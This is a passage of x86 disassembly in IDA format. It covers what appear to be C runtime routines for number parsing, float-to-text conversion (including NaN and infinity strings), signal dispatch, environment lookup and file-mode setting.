loc_4216C8:				; CODE XREF: sub_4214D8+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421686
; ---------------------------------------------------------------------------


loc_4216CD:				; CODE XREF: sub_4214D8+18Cj
					; sub_4214D8+1D7j
		cmp	bl, 2Bh
		jz	loc_4215E0
		cmp	bl, 2Dh
		jz	loc_4215E0
		jmp	loc_4215B9
; ---------------------------------------------------------------------------


loc_4216E4:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	dword_433E7C, edx ; jumptable 0042153B case 5
		mov	[ebp+var_24], edx
		jle	short loc_421700
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42170E
; ---------------------------------------------------------------------------


loc_421700:				; CODE XREF: sub_4214D8+215j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42170E:				; CODE XREF: sub_4214D8+226j
		test	eax, eax
		jz	loc_4217C0
		mov	eax, esi
		jmp	short loc_421771
; ---------------------------------------------------------------------------


loc_42171A:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		lea	ecx, [edi-2]	; jumptable 0042153B case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_42172A
		cmp	bl, 39h
		jle	short loc_42176E


loc_42172A:				; CODE XREF: sub_4214D8+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jz	short loc_42179A
		sub	eax, 3
		jnz	loc_42184E


loc_42173F:				; CODE XREF: sub_4214D8+2A4j
		push	8
		jmp	short loc_4217A8
; ---------------------------------------------------------------------------


loc_421743:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], edx ; jumptable 0042153B case 8


loc_421746:				; CODE XREF: sub_4214D8+276j
		cmp	bl, 30h
		jnz	short loc_421750
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421746
; ---------------------------------------------------------------------------


loc_421750:				; CODE XREF: sub_4214D8+271j
		cmp	bl, 31h
		jl	loc_42184B
		cmp	bl, 39h
		jg	loc_42184B
		jmp	short loc_42176E
; ---------------------------------------------------------------------------


loc_421764:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 7
		jl	short loc_421777
		cmp	bl, 39h
		jg	short loc_421777


loc_42176E:				; CODE XREF: sub_4214D8+250j
					; sub_4214D8+28Aj
		push	9


loc_421770:				; CODE XREF: sub_4214D8+76j
		pop	eax


loc_421771:				; CODE XREF: sub_4214D8+240j
		dec	edi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421777:				; CODE XREF: sub_4214D8+28Fj
					; sub_4214D8+294j
		cmp	bl, 30h
		jnz	short loc_4217C0
		jmp	short loc_42173F
; ---------------------------------------------------------------------------


loc_42177E:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+arg_18], 0	; jumptable 0042153B case 11
		jz	short loc_4217AE
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4217A6
		dec	eax
		dec	eax
		jnz	loc_42184E


loc_42179A:				; CODE XREF: sub_4214D8+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217A6:				; CODE XREF: sub_4214D8+258j
					; sub_4214D8+2B8j
		push	7


loc_4217A8:				; CODE XREF: sub_4214D8+85j
					; sub_4214D8+103j ...
		pop	eax
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217AE:				; CODE XREF: sub_4214D8+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_4217B2:				; CODE XREF: sub_4214D8+5Dj
					; sub_4214D8+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0042153B case 10
		jz	loc_421850
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_4217C0:				; CODE XREF: sub_4214D8+12Dj
					; sub_4214D8+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_421850
; ---------------------------------------------------------------------------


loc_4217C8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_20], 1	; jumptable 0042153B case 9
		xor	esi, esi


loc_4217D1:				; CODE XREF: sub_4214D8+339j
		cmp	dword_433E7C, 1
		jle	short loc_4217E9
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4217F8
; ---------------------------------------------------------------------------


loc_4217E9:				; CODE XREF: sub_4214D8+300j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4217F8:				; CODE XREF: sub_4214D8+30Fj
		test	eax, eax
		jz	short loc_421818
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_421813
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4217D1
; ---------------------------------------------------------------------------


loc_421813:				; CODE XREF: sub_4214D8+334j
		mov	esi, 1451h


loc_421818:				; CODE XREF: sub_4214D8+322j
		mov	[ebp+var_1C], esi


loc_42181B:				; CODE XREF: sub_4214D8+371j
		cmp	dword_433E7C, 1
		jle	short loc_421833
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_421842
; ---------------------------------------------------------------------------


loc_421833:				; CODE XREF: sub_4214D8+34Aj
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421842:				; CODE XREF: sub_4214D8+359j
		test	eax, eax
		jz	short loc_42184B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42181B
; ---------------------------------------------------------------------------


loc_42184B:				; CODE XREF: sub_4214D8+99j
					; sub_4214D8+E4j ...
		dec	edi
		jmp	short loc_421850
; ---------------------------------------------------------------------------


loc_42184E:				; CODE XREF: sub_4214D8+261j
					; sub_4214D8+2BCj
		mov	edi, ecx


loc_421850:				; CODE XREF: sub_4214D8+2DDj
					; sub_4214D8+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_421938
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_42187C
		cmp	[ebp+var_45], 5
		jl	short loc_421870
		inc	[ebp+var_45]


loc_421870:				; CODE XREF: sub_4214D8+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_42187F
; ---------------------------------------------------------------------------


loc_42187C:				; CODE XREF: sub_4214D8+38Dj
		mov	eax, [ebp+var_C]


loc_42187F:				; CODE XREF: sub_4214D8+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_42192E


loc_421889:				; CODE XREF: sub_4214D8+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_421897
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_421889
; ---------------------------------------------------------------------------


loc_421897:				; CODE XREF: sub_4214D8+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_421411
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4218B6
		neg	eax


loc_4218B6:				; CODE XREF: sub_4214D8+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4218C1
		add	eax, [ebp+arg_10]


loc_4218C1:				; CODE XREF: sub_4214D8+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4218C9
		sub	eax, [ebp+arg_14]


loc_4218C9:				; CODE XREF: sub_4214D8+3ECj
		cmp	eax, 1450h
		jle	short loc_421900
		mov	[ebp+var_2C], 1


loc_4218D7:				; CODE XREF: sub_4214D8+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4218E3:				; CODE XREF: sub_4214D8+454j
					; sub_4214D8+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_421949
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421900:				; CODE XREF: sub_4214D8+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_421910
		mov	[ebp+var_30], 1
		jmp	short loc_4218D7
; ---------------------------------------------------------------------------


loc_421910:				; CODE XREF: sub_4214D8+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_4220C1
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_42192E:				; CODE XREF: sub_4214D8+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4218E3
; ---------------------------------------------------------------------------


loc_421938:				; CODE XREF: sub_4214D8+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_42195E
; ---------------------------------------------------------------------------


loc_421949:				; CODE XREF: sub_4214D8+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_42195E
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_42195E:				; CODE XREF: sub_4214D8+426j
					; sub_4214D8+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4214D8	endp

; ---------------------------------------------------------------------------
off_421979	dd offset loc_421542	; DATA XREF: sub_4214D8+63r
		dd offset loc_421591	; jump table for switch	statement
		dd offset loc_4215E8
		dd offset loc_421612
		dd offset loc_42166D
		dd offset loc_4216E4
		dd offset loc_42171A
		dd offset loc_421764
		dd offset loc_421743
		dd offset loc_4217C8
		dd offset loc_4217B2
		dd offset loc_42177E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219A9	proc near		; CODE XREF: sub_42074B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_421A0B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_421A0F
; ---------------------------------------------------------------------------


loc_421A0B:				; CODE XREF: sub_4219A9+5Aj
		mov	byte ptr [ebx+2], 20h


loc_421A0F:				; CODE XREF: sub_4219A9+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_421A35
		test	edi, edi
		jnz	short loc_421A35
		cmp	[ebp+arg_0], edi
		jnz	short loc_421A35


loc_421A20:				; CODE XREF: sub_4219A9+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_421C33
; ---------------------------------------------------------------------------


loc_421A35:				; CODE XREF: sub_4219A9+6Cj
					; sub_4219A9+70j ...
		cmp	dx, si
		jnz	short loc_421AB4
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_421A4E
		cmp	[ebp+arg_0], 0
		jz	short loc_421A5D


loc_421A4E:				; CODE XREF: sub_4219A9+9Dj
		test	edi, 40000000h
		jnz	short loc_421A5D
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_421AA3
; ---------------------------------------------------------------------------


loc_421A5D:				; CODE XREF: sub_4219A9+A3j
					; sub_4219A9+ABj
		test	cx, cx
		jz	short loc_421A77
		cmp	edi, 0C0000000h
		jnz	short loc_421A77
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Ind	; "1#IND"
		jmp	short loc_421A86
; ---------------------------------------------------------------------------


loc_421A77:				; CODE XREF: sub_4219A9+B7j
					; sub_4219A9+BFj
		cmp	edi, eax
		jnz	short loc_421A9E
		cmp	[ebp+arg_0], 0
		jnz	short loc_421A9E
		push	offset a1Inf	; "1#INF"


loc_421A86:				; CODE XREF: sub_4219A9+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_421A95:				; CODE XREF: sub_4219A9+109j
		and	[ebp+var_4], 0
		jmp	loc_421C0C
; ---------------------------------------------------------------------------


loc_421A9E:				; CODE XREF: sub_4219A9+C5j
					; sub_4219A9+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_421AA3:				; CODE XREF: sub_4219A9+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4179C0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_421A95
; ---------------------------------------------------------------------------


loc_421AB4:				; CODE XREF: sub_4219A9+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4220C1
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_421B15
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421EA1
		pop	ecx
		pop	ecx


loc_421B15:				; CODE XREF: sub_4219A9+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_421B2F
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_421B32
		jmp	loc_421A20
; ---------------------------------------------------------------------------


loc_421B2F:				; CODE XREF: sub_4219A9+173j
		mov	edi, [ebp+arg_C]


loc_421B32:				; CODE XREF: sub_4219A9+17Fj
		cmp	edi, 15h
		jle	short loc_421B3A
		push	15h
		pop	edi


loc_421B3A:				; CODE XREF: sub_4219A9+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_421B50:				; CODE XREF: sub_4219A9+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_421B50
		test	esi, esi
		jge	short loc_421B7A
		neg	esi
		and	esi, 0FFh
		jle	short loc_421B7A


loc_421B6D:				; CODE XREF: sub_4219A9+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213E4
		dec	esi
		pop	ecx
		jnz	short loc_421B6D


loc_421B7A:				; CODE XREF: sub_4219A9+1B8j
					; sub_4219A9+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_421BD7
		mov	[ebp+arg_C], ecx


loc_421B8A:				; CODE XREF: sub_4219A9+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_421358
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4213B6
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_421B8A
		mov	eax, [ebp+arg_14]


loc_421BD7:				; CODE XREF: sub_4219A9+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_421C14


loc_421BE4:				; CODE XREF: sub_4219A9+248j
		cmp	eax, ecx
		jb	short loc_421BF7
		cmp	byte ptr [eax],	39h
		jnz	short loc_421BF3
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_421BE4
; ---------------------------------------------------------------------------


loc_421BF3:				; CODE XREF: sub_4219A9+242j
		cmp	eax, ecx
		jnb	short loc_421BFB


loc_421BF7:				; CODE XREF: sub_4219A9+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_421BFB:				; CODE XREF: sub_4219A9+24Cj
		inc	byte ptr [eax]


loc_421BFD:				; CODE XREF: sub_4219A9+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_421C0C:				; CODE XREF: sub_4219A9+F0j
		mov	eax, [ebp+var_4]


loc_421C0F:				; CODE XREF: sub_4219A9+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421C14:				; CODE XREF: sub_4219A9+239j
					; sub_4219A9+275j
		cmp	eax, ecx
		jb	short loc_421C24
		cmp	byte ptr [eax],	30h
		jnz	short loc_421C20
		dec	eax
		jmp	short loc_421C14
; ---------------------------------------------------------------------------


loc_421C20:				; CODE XREF: sub_4219A9+272j
		cmp	eax, ecx
		jnb	short loc_421BFD


loc_421C24:				; CODE XREF: sub_4219A9+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_421C33:				; CODE XREF: sub_4219A9+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_421C0F
sub_4219A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C3C	proc near		; CODE XREF: sub_41D4FC+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_421CA3
		dec	eax
		dec	eax
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C94
		sub	eax, 3
		jz	short loc_421C94
		sub	eax, 4
		jz	short loc_421C87
		sub	eax, 6
		jz	short loc_421C7A
		dec	eax
		jz	short loc_421C6D
		or	eax, 0FFFFFFFFh
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421C6D:				; CODE XREF: sub_421C3C+27j
		mov	esi, dword_4CDC94
		mov	eax, offset dword_4CDC94
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C7A:				; CODE XREF: sub_421C3C+24j
		mov	esi, dword_4CDC90
		mov	eax, offset dword_4CDC90
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C87:				; CODE XREF: sub_421C3C+1Fj
		mov	esi, dword_4CDC98
		mov	eax, offset dword_4CDC98
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421C94:				; CODE XREF: sub_421C3C+10j
					; sub_421C3C+15j ...
		push	edi
		call	sub_421D69
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_421CAE
; ---------------------------------------------------------------------------


loc_421CA3:				; CODE XREF: sub_421C3C+Cj
		mov	esi, dword_4CDC8C
		mov	eax, offset dword_4CDC8C


loc_421CAE:				; CODE XREF: sub_421C3C+3Cj
					; sub_421C3C+49j ...
		cmp	esi, 1
		jnz	short loc_421CBA
		xor	eax, eax
		jmp	loc_421D65
; ---------------------------------------------------------------------------


loc_421CBA:				; CODE XREF: sub_421C3C+75j
		test	esi, esi
		jnz	short loc_421CC5
		push	3
		call	sub_419AF6


loc_421CC5:				; CODE XREF: sub_421C3C+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_421CD7
		cmp	edi, 0Bh
		jz	short loc_421CD7
		cmp	edi, 4
		jnz	short loc_421CFD


loc_421CD7:				; CODE XREF: sub_421C3C+8Fj
					; sub_421C3C+94j
		mov	ebx, dword_4CDA68
		and	dword_4CDA68, 0
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	edx, dword_4362EC
		mov	dword_4362EC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_421D00
; ---------------------------------------------------------------------------


loc_421CFD:				; CODE XREF: sub_421C3C+99j
		mov	ebx, [ebp+arg_0]


loc_421D00:				; CODE XREF: sub_421C3C+BFj
		cmp	edi, ecx
		jnz	short loc_421D2C
		mov	eax, dword_4362E0
		mov	ecx, dword_4362E4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_421D33
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:436270h[edx*4]


loc_421D21:				; CODE XREF: sub_421C3C+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_421D21
		jmp	short loc_421D33
; ---------------------------------------------------------------------------


loc_421D2C:				; CODE XREF: sub_421C3C+AAj
					; sub_421C3C+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_421D41


loc_421D33:				; CODE XREF: sub_421C3C+D7j
					; sub_421C3C+EEj
		push	dword_4362EC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_421D4F
; ---------------------------------------------------------------------------


loc_421D41:				; CODE XREF: sub_421C3C+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_421D4F
		cmp	edi, 4
		jnz	short loc_421D62


loc_421D4F:				; CODE XREF: sub_421C3C+103j
					; sub_421C3C+10Cj
		cmp	edi, 8
		mov	dword_4CDA68, ebx
		jnz	short loc_421D62
		mov	eax, [ebp+arg_0]
		mov	dword_4362EC, eax


loc_421D62:				; CODE XREF: sub_421C3C+111j
					; sub_421C3C+11Cj
		xor	eax, eax
		pop	ebx


loc_421D65:				; CODE XREF: sub_421C3C+2Cj
					; sub_421C3C+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421C3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D69	proc near		; CODE XREF: sub_421C3C+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4362E8
		cmp	dword_43626C, edx
		push	esi
		mov	eax, offset dword_436268
		jz	short loc_421D97
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:436268h[esi*4]


loc_421D8B:				; CODE XREF: sub_421D69+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_421D97
		cmp	[eax+4], edx
		jnz	short loc_421D8B


loc_421D97:				; CODE XREF: sub_421D69+16j
					; sub_421D69+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:436268h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_421DAB
		cmp	[eax+4], edx
		jz	short locret_421DAD


loc_421DAB:				; CODE XREF: sub_421D69+3Bj
		xor	eax, eax

locret_421DAD:				; CODE XREF: sub_421D69+40j
		retn
sub_421D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DAE	proc near		; CODE XREF: sub_42094E+23p

arg_0		= dword	ptr  4

		cmp	dword_4CF030, 0
		push	ebx
		push	esi
		mov	esi, dword_4CD9DC
		push	edi
		jz	short loc_421E25
		test	esi, esi
		jnz	short loc_421DDF
		cmp	dword_4CD9E4, esi
		jz	short loc_421E25
		call	sub_42217C
		test	eax, eax
		jnz	short loc_421E25
		mov	esi, dword_4CD9DC
		test	esi, esi
		jz	short loc_421E25


loc_421DDF:				; CODE XREF: sub_421DAE+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_421E25
		push	ebx
		call	sub_417AB0
		pop	ecx
		mov	edi, eax


loc_421DF0:				; CODE XREF: sub_421DAE+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421E25
		push	eax
		call	sub_417AB0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_421E18
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_421E18
		push	edi
		push	ebx
		push	eax
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421E1D


loc_421E18:				; CODE XREF: sub_421DAE+51j
					; sub_421DAE+59j
		add	esi, 4
		jmp	short loc_421DF0
; ---------------------------------------------------------------------------


loc_421E1D:				; CODE XREF: sub_421DAE+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_421E27
; ---------------------------------------------------------------------------


loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax


loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4CEDE0
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------


loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h


loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	dword_4CD9B4, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------


loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	dword_4CD9B4, 9


loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------


